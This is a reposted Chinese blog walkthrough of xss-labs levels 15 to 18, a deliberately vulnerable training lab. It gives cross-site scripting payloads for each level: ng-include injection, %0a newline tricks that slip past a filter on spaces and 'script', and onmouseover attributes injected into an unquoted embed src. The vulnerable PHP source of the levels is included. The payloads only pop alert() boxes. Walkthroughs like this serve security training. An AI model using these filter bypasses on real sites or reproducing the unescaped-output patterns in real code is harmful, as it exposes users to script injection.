Xss-labs-level15-18

Posted delongzhang

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Xss-labs-level15-18相关的知识,希望对你有一定的参考价值。

level15

技术图片

 

 看了一下源码,啥也没发现;

AngularJS ng-include 指令:

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

 
更换为:
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
src=‘level1.php?name=test<img src=1 onerror=alert()>‘

level16

技术图片

 

 

<a%0atype="text"%0a"alert">

换行符%0a取代空格,在html中同样可以运行

<img%0asrc="1.jpg"%0aonerror="alert(1)">
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 

过滤了,空格,script和/

 

level17

技术图片

 

 

<embed src=xsf01.swf?a=b width=100% heigth=100%>

看到了关键的一句

<embed> 元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。

在embed标签中,src的属性值没有引号,所以在输入arg02时在b之后加一个空格,浏览器到b就停止判断,给src加上双引号;而将onmouseover看作另外一个属性

onmouseover=alert(‘xss‘)
<embed src="xsf01.swf?a=b" onmouseover="alert(‘xss‘)" heigth="100%" width="100%">

后台源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

 

Level18

http://localhost/xss/level18.php?arg01=a&arg02=b%20onmouseover=alert()
<embed src="xsf02.swf?a=b" onmouseover="alert()" heigth="100%" width="100%">

 

以上是关于Xss-labs-level15-18的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数